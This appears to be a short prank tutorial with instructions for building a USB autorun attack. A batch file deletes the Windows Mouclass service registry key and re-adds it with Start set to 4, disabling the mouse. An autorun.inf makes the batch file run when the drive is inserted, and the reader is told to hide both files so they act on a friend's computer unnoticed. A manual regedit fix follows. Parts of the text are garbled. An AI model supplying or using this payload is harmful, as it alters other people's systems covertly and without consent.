1. Open the notepad file
2. Just copy and paste the below codein your notepad file. . .
@echooffsetkey="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"regdelete%key%regadd %key% /v Start /t REG_DWORD /d 4
3. Save the file as .bat extension. . .
4. Then create the other notepad file and Just copy and paste the below code in your notepad file. . .
[autorun]
Open=filename.fileextension is bat
Action=Mouse Disable
you have to put the name .bat which isalready done by you. .
5 save the file as autorun.inf
6.Now just copies these two files andpaste it in your pen drive. . .And hidethese both file Whenever your friendinsert your pen drive in his computerThese both files are run automatically
and then the mouse will be disable. .
Enable :-
Go to run
Type regedit
Then go to
HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass
Click on start
And modify its value 1 instead of 4. . .
After this the Mouse will enable. . .